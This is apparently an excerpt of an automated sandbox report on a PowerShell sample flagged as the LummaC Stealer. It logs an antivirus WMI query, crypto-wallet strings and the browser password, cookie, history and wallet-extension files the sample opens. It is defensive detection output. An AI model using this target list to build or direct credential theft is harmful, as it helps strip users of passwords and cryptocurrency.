Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WSMan.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Runtime.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: powershell.exe, 0000001E.00000002.2608525720.0000000003325000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: electrum
Source: powershell.exe, 0000001E.00000002.2608525720.000000000335F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: powershell.exe, 0000001E.00000002.2608525720.000000000335F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus
Source: powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ethereum
Source: powershell.exe, 00000012.00000002.1421165151.00007FF9BAE10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\logins.json	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
